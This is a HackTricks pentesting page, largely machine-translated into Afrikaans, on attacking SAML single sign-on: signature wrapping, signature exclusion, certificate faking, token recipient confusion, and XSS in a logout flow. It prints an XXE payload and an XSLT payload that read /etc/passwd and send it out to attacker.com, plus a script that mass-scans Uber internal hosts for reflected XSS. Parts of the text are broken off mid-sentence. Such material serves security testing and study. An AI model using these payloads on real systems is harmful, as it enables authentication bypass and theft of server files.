SAML Attacks

SAML Aanvalle

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Basiese Inligting

SAML Basics

Gereedskap

SAMLExtractor: 'n gereedskap wat 'n URL of lys van URL's kan neem en die SAML consume URL teruggee.

XML rondreis

In XML word die onderteken deel van die XML in geheue gestoor, dan word daar 'n paar kodering/ontkodering uitgevoer en die handtekening word nagegaan. Ideaal gesproke behoort daardie kodering/ontkodering nie die data te verander nie, maar gebaseer op daardie scenario, kan die data wat nagegaan word en die oorspronklike data nie dieselfde wees nie.

Byvoorbeeld, kyk na die volgende kode:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Die uitvoering van die program teen REXML 3.2.4 of vroeër sal in plaas daarvan die volgende uitvoer lewer:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

And this is how it saw it after a round of parsing and serialization:

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), vyandale gebruik 'n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee verskillende fases verwerk word: handtekening validasie en funksie aanroep. Hierdie aanvalle behels die verandering van die XML-dokumentstruktuur. Spesifiek, die aanvaller inspuit vervalste elemente wat nie die geldigheid van die XML-handtekening benadeel nie. Hierdie manipulasie is daarop gemik om 'n verskil te skep tussen die elemente wat deur die toepassing logika geanaliseer word en diegene wat deur die handtekening verifikasie module nagegaan word. As gevolg hiervan, terwyl die XML-handtekening tegnies geldig bly en verifikasie slaag, verwerk die toepassing logika die bedrogspul elemente. Gevolglik omseil die aanvaller effektief die XML-handtekening se integriteit beskerming en oorsprong verifikasie, wat die inspuiting van arbitrêre inhoud sonder opsporing moontlik maak.

The following attacks ara based on this blog post and this paper. So check those for further details.

XSW #1

Strategy: 'n Nuwe wortelelement wat die handtekening bevat, word bygevoeg.
Implication: Die validator mag verward raak tussen die legitieme "Response -> Assertion -> Subject" en die aanvaller se "slegte nuwe Response -> Assertion -> Subject", wat lei tot data integriteit probleme.

XSW #2

Difference from XSW #1: Gebruik 'n losstaande handtekening in plaas van 'n omhulde handtekening.
Implication: Die "slegte" struktuur, soortgelyk aan XSW #1, is daarop gemik om die besigheidslogika na die integriteitskontrole te mislei.

XSW #3

Strategy: 'n Slegte Assertion word op dieselfde hiërargiese vlak as die oorspronklike assertion geskep.
Implication: Dit is bedoel om die besigheidslogika te verwar om die kwaadwillige data te gebruik.

XSW #4

Difference from XSW #3: Die oorspronklike Assertion word 'n kind van die gedupliseerde (slegte) Assertion.
Implication: Soortgelyk aan XSW #3, maar verander die XML-struktuur meer aggressief.

XSW #5

Unique Aspect: Geen van die Handtekening of die oorspronklike Assertion voldoen aan standaard konfigurasies (omhulde/omhulende/losstaande).
Implication: Die gekopieerde Assertion omhul die Handtekening, wat die verwagte dokumentstruktuur verander.

XSW #6

Strategy: Soortgelyke ligging insetting soos XSW #4 en #5, maar met 'n draai.
Implication: Die gekopieerde Assertion omhul die Handtekening, wat dan die oorspronklike Assertion omhul, wat 'n geneste misleidende struktuur skep.

XSW #7

Strategy: 'n Extensions element word ingevoeg met die gekopieerde Assertion as 'n kind.
Implication: Dit benut die minder beperkende skema van die Extensions element om skema validasie teenmaatreëls te omseil, veral in biblioteke soos OpenSAML.

XSW #8

Difference from XSW #7: Gebruik 'n ander minder beperkende XML-element vir 'n variasie van die aanval.
Implication: Die oorspronklike Assertion word 'n kind van die minder beperkende element, wat die struktuur wat in XSW #7 gebruik is, omkeer.

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

XXE

If you don't know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. Deur die XML-struktuur van die SAML Response te manipuleer, kan aanvallers probeer om XXE kwesbaarhede te benut. Hier is hoe so 'n aanval visueel voorgestel kan word:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Jy kan ook die Burp uitbreiding SAML Raider gebruik om die POC te genereer vanaf 'n SAML versoek om te toets vir moontlike XXE kwesbaarhede en SAML kwesbaarhede.

Kyk ook na hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Vir meer inligting oor XSLT, gaan na:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente in verskeie formate soos HTML, JSON, of PDF te transformeer. Dit is belangrik om te noem dat XSLT-transformasies uitgevoer word voordat die verifikasie van die digitale handtekening plaasvind. Dit beteken dat 'n aanval suksesvol kan wees selfs sonder 'n geldige handtekening; 'n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.

Hier kan jy 'n POC vind om vir hierdie soort kwesbaarhede te toets, in die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem is, kan jy vir payloads vind.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Jy kan ook die Burp uitbreiding SAML Raider gebruik om die POC van 'n SAML versoek te genereer om moontlike XSLT kwesbaarhede te toets.

Kyk ook na hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Handtekening Uitsluiting

Die XML Handtekening Uitsluiting observeer die gedrag van SAML implementasies wanneer die Handtekening element nie teenwoordig is nie. As hierdie element ontbreek, kan handtekeningvalidasie nie plaasvind nie, wat dit kwesbaar maak. Dit is moontlik om dit te toets deur die inhoud wat gewoonlik deur die handtekening geverifieer word, te verander.

Tool

Jy kan ook die Burp uitbreiding SAML Raider gebruik. Onderbreek die SAML Antwoord en klik Verwyder Handtekeninge. Deur dit te doen, word alle Handtekening elemente verwyder.

Met die handtekeninge verwyder, laat die versoek voortgaan na die teiken. As die Handtekening nie deur die Diens

Sertifikaat Valsheid

Sertifikaat Valsheid is 'n tegniek om te toets of 'n Diensverskaffer (SP) behoorlik verifieer dat 'n SAML Boodskap onderteken is deur 'n vertroude Identiteitsverskaffer (IdP). Dit behels die gebruik van 'n *self-ondertekende sertifikaat om die SAML Antwoord of Bevestiging te onderteken, wat help om die vertrouensvalidasieproses tussen SP en IdP te evalueer.

Hoe om Sertifikaat Valsheid uit te voer

Die volgende stappe skets die proses met die SAML Raider Burp uitbreiding:

Onderbreek die SAML Antwoord.
As die antwoord 'n handtekening bevat, stuur die sertifikaat na SAML Raider Certs met die Stuur Sertifikaat na SAML Raider Certs knoppie.
In die SAML Raider Sertifikate oortjie, kies die ingevoerde sertifikaat en klik Stoor en Self-onderteken om 'n self-ondertekende kloon van die oorspronklike sertifikaat te skep.
Gaan terug na die onderbreekte versoek in Burp se Proxy. Kies die nuwe self-ondertekende sertifikaat uit die XML Handtekening keuselys.
Verwyder enige bestaande handtekeninge met die Verwyder Handtekeninge knoppie.
Onderteken die boodskap of bevestiging met die nuwe sertifikaat met die (Her-)Onderteken Boodskap of (Her-)Onderteken Bevestiging knoppie, soos toepaslik.
Stuur die ondertekende boodskap voort. Suksevolle outentisering dui aan dat die SP boodskappe onderteken deur jou self-ondertekende sertifikaat aanvaar, wat moontlike kwesbaarhede in die validasieproses van die SAML boodskappe onthul.

Token Ontvanger Verwarring / Diensverskaffer Teiken Verwarring

Token Ontvanger Verwarring en Diensverskaffer Teiken Verwarring behels die toets of die Diensverskaffer korrek die bedoelde ontvanger van 'n antwoord valideer. In wese moet 'n Diensverskaffer 'n outentiseringsantwoord verwerp as dit bedoel was vir 'n ander verskaffer. Die kritieke element hier is die Ontvanger veld, wat binne die SubjectConfirmationData element van 'n SAML Antwoord gevind word. Hierdie veld spesifiseer 'n URL wat aandui waar die Bevestiging gestuur moet word. As die werklike ontvanger nie ooreenstem met die bedoelde Diensverskaffer nie, moet die Bevestiging as ongeldig beskou word.

Hoe Dit Werk

Vir 'n SAML Token Ontvanger Verwarring (SAML-TRC) aanval om haalbaar te wees, moet sekere voorwaardes nagekom word. Eerstens, daar moet 'n geldige rekening op 'n Diensverskaffer wees (genoem SP-Legit). Tweedens, die geteikende Diensverskaffer (SP-Teiken) moet tokens van dieselfde Identiteitsverskaffer aanvaar wat SP-Legit bedien.

Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Egte sessie word geinitieer met SP-Legit via die gedeelde Identiteitsverskaffer. Die SAML Antwoord van die Identiteitsverskaffer na SP-Legit word onderbreek. Hierdie onderbreekte SAML Antwoord, oorspronklik bedoel vir SP-Legit, word dan hergerig na SP-Teiken. Sukses in hierdie aanval word gemeet deur SP-Teiken wat die Bevestiging aanvaar, wat toegang tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is, verleen.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout functionality

Die oorspronklike navorsing kan deur hierdie skakel verkry word.

Tydens die proses van katalogus brute forcing, is 'n afmeldbladsy ontdek by:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Upon accessing this link, a redirection occurred to: Na toegang tot hierdie skakel, het 'n herleiding plaasgevind na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dit het onthul dat die base parameter 'n URL aanvaar. In ag genome, het die idee ontstaan om die URL te vervang met javascript:alert(123); in 'n poging om 'n XSS (Cross-Site Scripting) aanval te begin.

Mass Exploitation

Uit hierdie navorsing:

Die SAMLExtractor hulpmiddel is gebruik om subdomeine van uberinternal.com te analiseer vir domeine wat dieselfde biblioteek gebruik. Daarna is 'n skrip ontwikkel om die oidauth/prompt bladsy te teiken. Hierdie skrip toets vir XSS (Cross-Site Scripting) deur data in te voer en te kyk of dit in die uitvoer weerspieël word. In gevalle waar die invoer inderdaad weerspieël word, merk die skrip die bladsy as kwesbaar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)